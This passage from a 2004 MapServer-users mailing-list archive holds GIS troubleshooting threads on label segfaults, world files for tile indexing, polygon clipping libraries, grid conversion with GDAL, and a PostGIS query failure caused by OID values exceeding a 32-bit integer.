> * libdl.so.2
> * libfreetype.so.6
> * libgd.so.2
> * libgdal.1.1.so
> * libjpeg.so.62
> * libm.so.6
> * libpng.so.3
> * libproj.so.0
> * libssl.so.0.9.7
> * libstdc++.so.5
> * libtiff.so.3
> * libz.so.1
>
> but when I test on my favourite browser:
> http://sx-dubois@rd.francetelecom.com/var/www/cgi-bin/mapserv
>
> I can red:
>
> Warning: Failed opening '../../../fr/navigation/cadres.php' for inclusion
> (include_path='.:/usr/local/lib/php') in /export/WWW/fr/navigation/bar.php
> on line 40
>
> Warning: Failed opening '../../../fr/navigation/ftbar.php' for inclusion
> (include_path='.:/usr/local/lib/php') in /export/WWW/fr/navigation/bar.php
> on line 41
>
> Warning: Failed opening '../../../fr/navigation/rubriques.php' for
> inclusion (include_path='.:/usr/local/lib/php') in
> /export/WWW/fr/navigation/bar.php on line 42
>
> Fatal error: Call to undefined function: rd_head() in
> /export/WWW/404.html.php on line 27
>
>
>
> Have you got a explanation for that?
> thanks in advance for the time you spend to help me...
From matt@phyreworks.com Mon May 3 17:22:56 2004
From: matt@phyreworks.com (Matt Hatcher)
Date: Mon, 3 May 2004 17:22:56 +0100
Subject: [Mapserver-users] Seg fault with labels
In-Reply-To: <20040502170003.11314.16323.Mailman@lists.gis.umn.edu>
Message-ID:
Hi all,
I'm running Mapserver 4.0.2 on Mandrake Linux 9.2. It was built with the
help of the redhat 9 guide in the wiki. Thanks to the guy who put that
together!
I'm having problems with labelling layers. Mapserver works beautifully
providing I don't try to use labels. If I do (either using bitmap or
truetype), I get Internal Server Error. Running the query at the command
line using the QUERY_STRING debug, I get a seg fault.
This suggests to me a problem with my freetype or gd libraries - I'm using:
freetype-1.3.1-20mdk.rpm, libfreetype6-2.1.4-6mdk and gd-2.0.15
My mapserv -v is:
MapServer version 4.0.2 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF
SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=JPEG INPUT=POSTGIS INPUT=OGR
INPUT=GDAL INPUT=SHAPEFILE
I've tried to run ./configure without freetype, but it still compiles the
libraries in and I get the same result.
Anybody got any bright ideas?!
Thanks in advance
Matt.
-----Original Message-----
From: mapserver-users-admin@lists.gis.umn.edu
[mailto:mapserver-users-admin@lists.gis.umn.edu]On Behalf Of
mapserver-users-request@lists.gis.umn.edu
Sent: 02 May 2004 18:00
To: mapserver-users@lists.gis.umn.edu
Subject: Mapserver-users digest, Vol 1 #509 - 9 msgs
Send Mapserver-users mailing list submissions to
mapserver-users@lists.gis.umn.edu
To subscribe or unsubscribe via the World Wide Web, visit
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
or, via email, send a message with subject or body 'help' to
mapserver-users-request@lists.gis.umn.edu
You can reach the person managing the list at
mapserver-users-admin@lists.gis.umn.edu
When replying, please edit your Subject line so it is more specific
than "Re: Contents of Mapserver-users digest..."
Today's Topics:
1. RE: world files and tile indexing (Ed McNierney)
2. Re: Shapelib, GPC, PHP, and polygon clipping (Frank Warmerdam)
3. Re: arcgrid to ascii(etc) (Frank Warmerdam)
4. Looking for reference links and online MapServer/MapScript Forum (Mike
Juvrud)
5. Re: Looking for reference links and online MapServer/MapScript Forum
(Eduardo Patto Kanegae)
6. RE: [postgis-users] RE: gone are my query results (Charlton Purvis)
7. RE: [postgis-users] RE: gone are my query results (Gregory S.
Williamson)
8. RE: [postgis-users] RE: gone are my query results (Charlton Purvis)
9. Re: RE: [postgis-users] RE: gone are my query results (Paul Ramsey)
--__--__--
Message: 1
Subject: RE: [Mapserver-users] world files and tile indexing
Date: Sat, 1 May 2004 13:39:07 -0400
From: "Ed McNierney"
To: "Antonio Cosenza" ,
This is a multi-part message in MIME format.
------_=_NextPart_001_01C42FA3.3437712E
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Antonio -
=20
Thanks - that is very helpful!
=20
Things seem fine, but you need to create georeference data for the
images in a way that can be used - the JPG files could have world files
(.JGW files) or the TIF files could have world files (.TFW) but you need
them. You need to create these world files. You should try to read the
coordinates from the shapefile (use shpdump) and you need to calculate
the values for the world files. With only three files you can
relatively easily do this by hand.
=20
The shapefile polygons should give you the upper-left corner coordinate
of each tile, and you should be able to calculate the size of each pixel
in X and Y units from the shapefile polygons and information about how
many pixels wide and high each image is (use tiffinfo).
=20
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242=20
_____ =20
From: Antonio Cosenza [mailto:antonio.cosenza@polito.it]=20
Sent: Saturday, May 01, 2004 6:18 AM
To: mapserver-users@lists.gis.umn.edu
Subject: Re: [Mapserver-users] world files and tile indexing
It would help if you could explain what you're trying to do! =20
ok, i'll try tou explain you my situation!
What
format are the raster files in now,=20
The raster files are in jpg format. They are a set of 3 tiles NOT
GEOREFERENCED (of course, they are jpg!). But, i have a shapefile,
called tile.shp (so, georeferenced) representing the footprints of the
tiles. In tile.shp, I created a field (Path) including the absoulte path
to tiff tiles on my disk (ex. /var/www/.....F4-C4.tif).Now, i converted
the jpg files in tiff files, without the world files. I use this mapfile
configuration:
LAYER
NAME "pannelli"
STATUS ON
TYPE RASTER
TILEINDEX "./tile.shp"
TILEITEM "Path"
END
I run maplab, but an error occurs: unable to open tiff files:
Description=09
Unable to open world file for reading. in
/maplab/htdocs/common/wrapper/drawmap.php=09
Failed to draw layer named 'pannelli'. in
/maplab/htdocs/common/wrapper/drawmap.php=09
Unable to open world file for reading. in
/maplab/htdocs/common/wrapper/drawmap.php=09
Failed to draw layer named 'pannelli'. in
/maplab/htdocs/common/wrapper/drawmap.php=09
So, i created some empty world files! This time, maplab runs without
error, but it doesn't show me the tiles. It shows me only a blank page.
Where is the problem?
and what geographic reference data
do you have for them (and in what format)?
=09
- Ed
=09
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242 =20
=09
-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza@polito.it]=20
Sent: Friday, April 30, 2004 5:43 AM
To: Ed McNierney; mapserver-users@lists.gis.umn.edu
Subject: Re: [Mapserver-users] world files and tile indexing
=09
so, i need to convert the raster tiles in tiff format, without
world
files? Right?
=09
thanks
=09
Ed McNierney wrote:
=09
=20
Antonio -
=09
Yes, as long as the georeference information is there
for the tile=20
index to be created (and for the image to be rendered
properly). =20
GeoTIFFs can be used in a TILEINDEX layer without world
files.
=09
- Ed
=09
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242
=09
-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza@polito.it]
Sent: Thursday, April 29, 2004 2:40 PM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] world files and tile indexing
=09
Hi everyvody,
is it possible to use tile indexing without world file?
=09
thanks
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
=09
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
=09
=09
=20
=09
=20
=09
=09
=09
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
=09
=20
------_=_NextPart_001_01C42FA3.3437712E
Content-Type: text/html;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Antonio -
Thanks - that is very =
helpful!
Things seem fine, but you need to create =
georeference data=20
for the images in a way that can be used - the JPG files could have =
world files=20
(.JGW files) or the TIF files could have world files (.TFW) but you need =
them. You need to create these world files. You should try =
to read=20
the coordinates from the shapefile (use shpdump) and you need to =
calculate the=20
values for the world files. With only three files you can =
relatively=20
easily do this by hand.
The shapefile polygons should give you the =
upper-left=20
corner coordinate of each tile, and you should be able to calculate the =
size of=20
each pixel in X and Y units from the shapefile polygons and information =
about=20
how many pixels wide and high each image is (use =
tiffinfo).
- Ed
Ed McNierney President and Chief =
Mapmaker TopoZone.com /=20
Maps a la carte, Inc. 73 Princeton Street, Suite 305 North =
Chelmsford,=20
MA 01863 ed@topozone.com (978) 251-4242 =
From: Antonio Cosenza=20
[mailto:antonio.cosenza@polito.it] Sent: Saturday, May 01, =
2004 6:18=20
AM To: mapserver-users@lists.gis.umn.edu Subject: =
Re:=20
[Mapserver-users] world files and tile indexing
It would help if you could explain what =
you're trying to do!
ok,=20
i'll try tou explain you my situation!
What
format are the raster files in now,
The raster files =
are in=20
jpg format. They are a set of 3 tiles NOT GEOREFERENCED (of =
course, they=20
are jpg!). But, i have a shapefile, called tile.shp (so, georeferenced)=20
representing the footprints of the tiles. In tile.shp, I created a =
field=20
(Path) including the absoulte path to tiff tiles on my disk (ex.=20
/var/www/.....F4-C4.tif).Now, i converted the jpg files in tiff =
files,=20
without the world files. I use this mapfile=20
configuration:
LAYER NAME=20
"pannelli" STATUS ON TYPE=20
RASTER TILEINDEX =
"./tile.shp" =20
TILEITEM "Path" END
I run maplab, but an error occurs: =
unable=20
to open tiff files:
Description
Unable to open world file for reading. in=20
/maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in=20
/maplab/htdocs/common/wrapper/drawmap.php
Unable to open world file for reading. in=20
/maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in=20
=
/maplab/htdocs/common/wrapper/drawmap.php
So,=20
i created some empty world files! This time, maplab runs without error, =
but it=20
doesn't show me the tiles. It shows me only a blank page. Where is =
the=20
problem?
and what geographic reference data
do you have for them (and in what format)?
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242 =20
-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza@polito.i=
t]=20
Sent: Friday, April 30, 2004 5:43 AM
To: Ed McNierney; mapserver-users@lists.g=
is.umn.edu
Subject: Re: [Mapserver-users] world files and tile indexing
so, i need to convert the raster tiles in tiff format, without world
files? Right?
thanks
Ed McNierney wrote:
Antonio -
Yes, as long as the georeference information is there for the tile=20
index to be created (and for the image to be rendered properly). =20
GeoTIFFs can be used in a TILEINDEX layer without world files.
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242
-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza@polito.i=
t]
Sent: Thursday, April 29, 2004 2:40 PM
To: mapserver-users@lists.g=
is.umn.edu
Subject: [Mapserver-users] world files and tile indexing
Hi everyvody,
is it possible to use tile indexing without world file?
thanks
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.g=
is.umn.eduhttp:/=
/lists.gis.umn.edu/mailman/listinfo/mapserver-users
=20
------_=_NextPart_001_01C42FA3.3437712E--
--__--__--
Message: 2
Date: Sat, 01 May 2004 15:03:03 -0400
From: Frank Warmerdam
To: "Ryan, Adam"
Cc: mapserver-users@lists.gis.umn.edu
Subject: Re: [Mapserver-users] Shapelib, GPC, PHP, and polygon clipping
Ryan, Adam wrote:
> Steve, Frank, etc...
>
> A while back Steve Lime wrote in response to a request for polygon
clipping
> code.
>
>
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0201/msg00094.html
>
> He suggested using the GPC library. I checked this out and was able to
get
> it to work.
>
> Is it worth trying to use GPC with either PHP mapscript or shapelib
directly
> and write a little routine to grab the shapes in question, convert them
to
> gpc ascii format, run the clip operation, and convert back to a shapefile
> result? In PHP I could build the ASCII files, then call a gpc executable,
> and then translate the ASCII result back into a new shapefile.
>
> Am I exploring old technology? Is there a better way? Seems like a lot
of
> steps but all the really hard work has been done and it's just a matter of
> reformatting data to work with the different tools.
Adam,
Invoking GPC externally via an ascii file interface may be too slow
depending
on your needs but it is certainly doable.
From a more general point of view, it is my hope to interface the GEOS
library (http://geos.refractions.net) with OGR at some point with a
convenient
mechanism to convert OGR geometries into a form usable in GEOS. So from my
point of view a GEOS is the "future" of complex geometry operations in
OGR (and indirectly shapelib). In fact, I would like to see a nice SWIG'ed
interface to GEOS so that it can be easily used in most/all of the mapscript
supported languages.
GEOS is the library used by PostGIS for geometry operations, but it is
independent of PostGIS. I think it does more than GPC. I was also slightly
soured on GPC because of problematic licensing issues as I recall.
So, if you have a particular need that is satisfied by passing geometries to
GPC then by all means go ahead. However, I don't forsee it as being of
strategic value. If you are interested in cooperating on swigged interfaces
for GEOS and closer integration with OGR, Shapelib or MapServer geometries
then perhaps we could get something going. I hadn't really been intending
to get started on this yet though, so you might get stuck doing quite a bit
of the heavy lifting.
Best regards,
--
---------------------------------------+------------------------------------
--
I set the clouds in motion - turn up | Frank Warmerdam,
warmerdam@pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush | Geospatial Programmer for Rent
--__--__--
Message: 3
Date: Sat, 01 May 2004 15:17:56 -0400
From: Frank Warmerdam
To: "Jason M. Nielsen"
Cc: mapserver-users@lists.gis.umn.edu
Subject: Re: [Mapserver-users] arcgrid to ascii(etc)
Jason M. Nielsen wrote:
> Anyone know of software that can convert arcgrid .adf files to ascii?
> _______________________________________________
Jason,
GDAL read Arc/Info binary grid files in .adf format and can export a
variety of formats including Arc/Info ASCII Grid format which is ... ASCII.
eg.
gdal_translate -of AAIGrid in_cov/w001001.adf out.grd
Best regards,
--
---------------------------------------+------------------------------------
--
I set the clouds in motion - turn up | Frank Warmerdam,
warmerdam@pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush | Geospatial Programmer for Rent
--__--__--
Message: 4
From: "Mike Juvrud"
To:
Date: Sat, 1 May 2004 18:23:21 -0500
Subject: [Mapserver-users] Looking for reference links and online
MapServer/MapScript Forum
I'm a MapServer/PHP MapScript newbie, looking for online reference
materials, resources, sample code, etc. (beginner to advanced)...I would
appreciate links to anything you might recommend. (english or deutsch)
(I have already downloaded and gone through the tutorials, references,
samples available on the mapserver & mapscript site.)
Also - Is there a Mapserver/Mapscript forum/bulletin board online?
Will sum,
Mike Juvrud
--__--__--
Message: 5
From: "Eduardo Patto Kanegae"
Date: Sat, 1 May 2004 23:58:10 -0300
To: "Mike Juvrud"
CC: mapserver-users@lists.gis.umn.edu
Subject: Re: [Mapserver-users] Looking for reference links and online
MapServer/MapScript Forum
at the official website , section Documentation, u will find all u're
looking for...
for deutsch reference , take a look at www.mapmedia.de ... i think they have
a book about mapserver.
Eduardo Patto Kanegae
http://www.consultoria.eti.br
UIN: 303747254
I Encontro Nacional de Usuários MapServer -
http://mapserver.cttmar.univali.br/encontro2004
Projeto MapServer Brasil - http://mapserver.cttmar.univali.br
***Fim da Mensagem / End of Message ***
On Sat, 1 May 2004 18:23:21 -0500, "Mike Juvrud"
escreveu:
> De: "Mike Juvrud"
> Data: Sat, 1 May 2004 18:23:21 -0500
> Para:
> Assunto: [Mapserver-users] Looking for reference links and online
MapServer/MapScript Forum
>
> I'm a MapServer/PHP MapScript newbie, looking for online reference
> materials, resources, sample code, etc. (beginner to advanced)...I would
> appreciate links to anything you might recommend. (english or deutsch)
>
> (I have already downloaded and gone through the tutorials, references,
> samples available on the mapserver & mapscript site.)
>
> Also - Is there a Mapserver/Mapscript forum/bulletin board online?
>
> Will sum,
>
> Mike Juvrud
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
>
--__--__--
Message: 6
Date: Sat, 1 May 2004 22:59:22 -0400
From: "Charlton Purvis"
To: "PostGIS Users Discussion" ,
Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results
Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to
see if they have any pearls of wisdom.
Everything looks great in the db. If I render a map, I see all the points
correctly. If I take that query and plug it in to the command line, I see
the rows. But the moment I try to do either a cgi query, WFS query, or a
PHP query, I get nothing back. No error message.
I'm actually getting panicky which isn't any fun. Has anyone seen anything
like this before?
Queries rely on OID's and SRID's. Is there any way they could have gotten
mucked up? Can I somehow refresh them?
Thanks,
Charlton
-----Original Message-----
From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
Sent: Sat 5/1/2004 6:20 PM
To: PostGIS Users Discussion
Cc:
Subject: [postgis-users] RE: gone are my query results
If you do the query directly to postgres (via psql or pgAdmin or whatever)
does the query return results ?
If so, then my guess is that this is not a database error, at least not
directly. If ot then yes, it would seem that somehow the postGIS itself has
gottent snarfled.
The change you made relating the geometryColumns doesn't sound to me like
it should effect queries unless somehow the SRID info for the tables in your
mapserver queries got clobbered; should be easy enough to confirm that this
data is ok.
I am not familiar enough with PHP and mapserver to have a clue; does the
mapserver log itself show anything ?
Not much help, I'm afraid, but perhaps posting this to the MMS list would
add some more knowledge to the issue at hand ?
Greg Williamson
DBA
GlobeXplorer LLC
-----Original Message-----
From: Charlton Purvis on behalf of Charlton Purvis
Sent: Sat 5/1/2004 2:46 PM
To: PostGIS Users Discussion
Cc:
Subject: gone are my query results
Hi, folks:
Bizarre and unnerving problem here.
Up until last night, mapping was fine and point-query was fine. Now it
appears that the mapping is still great, but the point query and WFS are
toast. I don't get any errors in pgsql.log or php.log. I get . . .
nothing. Even going mapserv cgi query returns empty for a query I know
should work.
Maybe I'm being taught a lesson. In a separate database, I noticed that
addgeometrycolumn was taking too long -- I create about 400 smaller tables
per day. So I commented out fix_geometry_columns(); from the
addgeometrycolumn function and did it once I had finished creating all my
new tables. So am I paying the price? Has this corrupted this database as
well as my other?
If all this is OID stuff, is there any way to refresh all OID's?
Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
Thanks,
Charlton
_______________________________________________
postgis-users mailing list
postgis-users@postgis.refractions.net
http://postgis.refractions.net/mailman/listinfo/postgis-users
--__--__--
Message: 7
Date: Sat, 1 May 2004 20:11:41 -0700
From: "Gregory S. Williamson"
To: "PostGIS Users Discussion" ,
Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results
If you turn on the logging of statements in postgres and run the mapserver
side of things, does the query show up in the logs ?
If the query does not appear then I'd suspect networking or permissions or
some darn thing keeping postgres from ever seeing the query.
It it does show up then maybe the problem is in the return trip to MS or in
the processing of that data (perhaps your OID suspicions), since it sounds
as if the query itself can be processed.
Any changes to *anything* on either server and anything in between ? (not
likely but always worth ruling out)
Or, shot in the dark, something messing with TOLERANCE so no points are
selected in a query ?
Very puzzling, I agree.
Greg W.
-----Original Message-----
From: Charlton Purvis on behalf of Charlton Purvis
Sent: Sat 5/1/2004 7:59 PM
To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
Cc:
Subject: RE: [postgis-users] RE: gone are my query results
Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to
see if they have any pearls of wisdom.
Everything looks great in the db. If I render a map, I see all the points
correctly. If I take that query and plug it in to the command line, I see
the rows. But the moment I try to do either a cgi query, WFS query, or a
PHP query, I get nothing back. No error message.
I'm actually getting panicky which isn't any fun. Has anyone seen anything
like this before?
Queries rely on OID's and SRID's. Is there any way they could have gotten
mucked up? Can I somehow refresh them?
Thanks,
Charlton
-----Original Message-----
From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
Sent: Sat 5/1/2004 6:20 PM
To: PostGIS Users Discussion
Cc:
Subject: [postgis-users] RE: gone are my query results
If you do the query directly to postgres (via psql or pgAdmin or whatever)
does the query return results ?
If so, then my guess is that this is not a database error, at least not
directly. If ot then yes, it would seem that somehow the postGIS itself has
gottent snarfled.
The change you made relating the geometryColumns doesn't sound to me like it
should effect queries unless somehow the SRID info for the tables in your
mapserver queries got clobbered; should be easy enough to confirm that this
data is ok.
I am not familiar enough with PHP and mapserver to have a clue; does the
mapserver log itself show anything ?
Not much help, I'm afraid, but perhaps posting this to the MMS list would
add some more knowledge to the issue at hand ?
Greg Williamson
DBA
GlobeXplorer LLC
-----Original Message-----
From: Charlton Purvis on behalf of Charlton Purvis
Sent: Sat 5/1/2004 2:46 PM
To: PostGIS Users Discussion
Cc:
Subject: gone are my query results
Hi, folks:
Bizarre and unnerving problem here.
Up until last night, mapping was fine and point-query was fine. Now it
appears that the mapping is still great, but the point query and WFS are
toast. I don't get any errors in pgsql.log or php.log. I get . . .
nothing. Even going mapserv cgi query returns empty for a query I know
should work.
Maybe I'm being taught a lesson. In a separate database, I noticed that
addgeometrycolumn was taking too long -- I create about 400 smaller tables
per day. So I commented out fix_geometry_columns(); from the
addgeometrycolumn function and did it once I had finished creating all my
new tables. So am I paying the price? Has this corrupted this database as
well as my other?
If all this is OID stuff, is there any way to refresh all OID's?
Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
Thanks,
Charlton
_______________________________________________
postgis-users mailing list
postgis-users@postgis.refractions.net
http://postgis.refractions.net/mailman/listinfo/postgis-users
--__--__--
Message: 8
Date: Sat, 1 May 2004 23:42:34 -0400
From: "Charlton Purvis"
To: "PostGIS Users Discussion" ,
Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results
OK, Greg, I think we might be onto something. But it still looks very grim.
I turned on all the logging, and I notice that MS sends it this query:
LOCATION: pg_parse_query, postgres.c:464
LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
temperature_celcius::text,asbinary(force_collection(force_2d(the_geom)),'NDR
'),OID::text from sst_map WHERE (date_trunc('hour',report_time_stamp +
interval '1 hour' * -04) = date_trunc('hour',timestamp without time zone
'2004-05-01 22:00:00') and (label_z <= 5 or label_z is null)) and (the_geom
&& setSRID( 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105
24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') ))
OK. That's good. Because if I stick the SELECT part at a psql prompt, I
get back the row I want. And I also notice that its OID is 2185295089.
But if I look at the last sql statement in the log, it's another cursor, but
the OID is wrong.
LOCATION: pg_parse_query, postgres.c:464
LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
station_id::text,time_stamp::text,z::text,label_z::text,temperature_celcius:
:text,temperature_fahrenheit::text,value_temperature_celcius::text,value_tem
perature_fahrenheit::text,lon::text,lat::text,title::text,institution::text,
institution_url::text,institution_dods_url::text,source::text,refs::text,con
tact::text,report_time_stamp::text,asbinary(force_collection(force_2d(the_ge
om)),'NDR') from sst_map WHERE OID = 2147483647
So had they kept the OID, I would be in good shape.
This isn't looking good!!!
Charlton
-----Original Message-----
From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
Sent: Sat 5/1/2004 11:11 PM
To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
Cc:
Subject: RE: [postgis-users] RE: gone are my query results
If you turn on the logging of statements in postgres and run the mapserver
side of things, does the query show up in the logs ?
If the query does not appear then I'd suspect networking or permissions or
some darn thing keeping postgres from ever seeing the query.
It it does show up then maybe the problem is in the return trip to MS or in
the processing of that data (perhaps your OID suspicions), since it sounds
as if the query itself can be processed.
Any changes to *anything* on either server and anything in between ? (not
likely but always worth ruling out)
Or, shot in the dark, something messing with TOLERANCE so no points are
selected in a query ?
Very puzzling, I agree.
Greg W.
-----Original Message-----
From: Charlton Purvis on behalf of Charlton Purvis
Sent: Sat 5/1/2004 7:59 PM
To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
Cc:
Subject: RE: [postgis-users] RE: gone are my query results
Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to
see if they have any pearls of wisdom.
Everything looks great in the db. If I render a map, I see all the points
correctly. If I take that query and plug it in to the command line, I see
the rows. But the moment I try to do either a cgi query, WFS query, or a
PHP query, I get nothing back. No error message.
I'm actually getting panicky which isn't any fun. Has anyone seen anything
like this before?
Queries rely on OID's and SRID's. Is there any way they could have gotten
mucked up? Can I somehow refresh them?
Thanks,
Charlton
-----Original Message-----
From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
Sent: Sat 5/1/2004 6:20 PM
To: PostGIS Users Discussion
Cc:
Subject: [postgis-users] RE: gone are my query results
If you do the query directly to postgres (via psql or pgAdmin or whatever)
does the query return results ?
If so, then my guess is that this is not a database error, at least not
directly. If ot then yes, it would seem that somehow the postGIS itself has
gottent snarfled.
The change you made relating the geometryColumns doesn't sound to me like
it should effect queries unless somehow the SRID info for the tables in your
mapserver queries got clobbered; should be easy enough to confirm that this
data is ok.
I am not familiar enough with PHP and mapserver to have a clue; does the
mapserver log itself show anything ?
Not much help, I'm afraid, but perhaps posting this to the MMS list would
add some more knowledge to the issue at hand ?
Greg Williamson
DBA
GlobeXplorer LLC
-----Original Message-----
From: Charlton Purvis on behalf of Charlton Purvis
Sent: Sat 5/1/2004 2:46 PM
To: PostGIS Users Discussion
Cc:
Subject: gone are my query results
Hi, folks:
Bizarre and unnerving problem here.
Up until last night, mapping was fine and point-query was fine. Now it
appears that the mapping is still great, but the point query and WFS are
toast. I don't get any errors in pgsql.log or php.log. I get . . .
nothing. Even going mapserv cgi query returns empty for a query I know
should work.
Maybe I'm being taught a lesson. In a separate database, I noticed that
addgeometrycolumn was taking too long -- I create about 400 smaller tables
per day. So I commented out fix_geometry_columns(); from the
addgeometrycolumn function and did it once I had finished creating all my
new tables. So am I paying the price? Has this corrupted this database as
well as my other?
If all this is OID stuff, is there any way to refresh all OID's?
Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
Thanks,
Charlton
_______________________________________________
postgis-users mailing list
postgis-users@postgis.refractions.net
http://postgis.refractions.net/mailman/listinfo/postgis-users
_______________________________________________
postgis-users mailing list
postgis-users@postgis.refractions.net
http://postgis.refractions.net/mailman/listinfo/postgis-users
--__--__--
Message: 9
Date: Sat, 01 May 2004 21:08:54 -0700
From: Paul Ramsey
Subject: Re: [Mapserver-users] RE: [postgis-users] RE: gone are my query
results
To: Charlton Purvis
Cc: PostGIS Users Discussion ,
mapserver-users@lists.gis.umn.edu
Got your back, Charlton :)
The problem is that your PostgreSQL oids are larger than the mapserver
row number variable can store. The oid is larger than a signed 32 bit
integer can store.
So, solution.
Do not use oid as your "unique" field. Make use of the "using unique"
clause in your data statement, and reference a different unique field
in your table. Make sure that field is indexed. If you have loaded your
data with shp2pgsql, you probably have a 'gid' field you can use that
is a primary key (and therefore already indexed).
Yours,
Paul
On Saturday, May 1, 2004, at 08:42 PM, Charlton Purvis wrote:
> OK, Greg, I think we might be onto something. But it still looks very
> grim.
>
> I turned on all the logging, and I notice that MS sends it this query:
>
> LOCATION: pg_parse_query, postgres.c:464
> LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
> temperature_celcius::text,asbinary(force_collection(force_2d(the_geom))
> ,'NDR'),OID::text from sst_map WHERE
> (date_trunc('hour',report_time_stamp + interval '1 hour' * -04) =
> date_trunc('hour',timestamp without time zone '2004-05-01 22:00:00')
> and (label_z <= 5 or label_z is null)) and (the_geom && setSRID(
> 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105
> 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') ))
>
> OK. That's good. Because if I stick the SELECT part at a psql
> prompt, I get back the row I want. And I also notice that its OID is
> 2185295089.
>
> But if I look at the last sql statement in the log, it's another
> cursor, but the OID is wrong.
>
> LOCATION: pg_parse_query, postgres.c:464
> LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
> station_id::text,time_stamp::text,z::text,label_z::text,temperature_cel
> cius::text,temperature_fahrenheit::text,value_temperature_celcius::text
> ,value_temperature_fahrenheit::text,lon::text,lat::text,title::text,ins
> titution::text,institution_url::text,institution_dods_url::text,source:
> :text,refs::text,contact::text,report_time_stamp::text,asbinary(force_c
> ollection(force_2d(the_geom)),'NDR') from sst_map WHERE OID =
> 2147483647
>
> So had they kept the OID, I would be in good shape.
>
> This isn't looking good!!!
>
> Charlton
>
> -----Original Message-----
> From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> Sent: Sat 5/1/2004 11:11 PM
> To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
> Cc:
> Subject: RE: [postgis-users] RE: gone are my query results
>
>
>
>
> If you turn on the logging of statements in postgres and run the
> mapserver side of things, does the query show up in the logs ?
>
> If the query does not appear then I'd suspect networking or
> permissions or some darn thing keeping postgres from ever seeing the
> query.
>
> It it does show up then maybe the problem is in the return trip to MS
> or in the processing of that data (perhaps your OID suspicions), since
> it sounds as if the query itself can be processed.
>
> Any changes to *anything* on either server and anything in between ?
> (not likely but always worth ruling out)
>
> Or, shot in the dark, something messing with TOLERANCE so no points
> are selected in a query ?
>
> Very puzzling, I agree.
>
> Greg W.
>
> -----Original Message-----
> From: Charlton Purvis on behalf of Charlton Purvis
> Sent: Sat 5/1/2004 7:59 PM
> To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
> Cc:
> Subject: RE: [postgis-users] RE: gone are my query results
> Thanks for your reply, Gregory. I'm forwarding this onto the MS
> folks to see if they have any pearls of wisdom.
>
> Everything looks great in the db. If I render a map, I see all the
> points correctly. If I take that query and plug it in to the command
> line, I see the rows. But the moment I try to do either a cgi query,
> WFS query, or a PHP query, I get nothing back. No error message.
>
> I'm actually getting panicky which isn't any fun. Has anyone seen
> anything like this before?
>
> Queries rely on OID's and SRID's. Is there any way they could have
> gotten mucked up? Can I somehow refresh them?
>
> Thanks,
>
> Charlton
>
> -----Original Message-----
> From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> Sent: Sat 5/1/2004 6:20 PM
> To: PostGIS Users Discussion
> Cc:
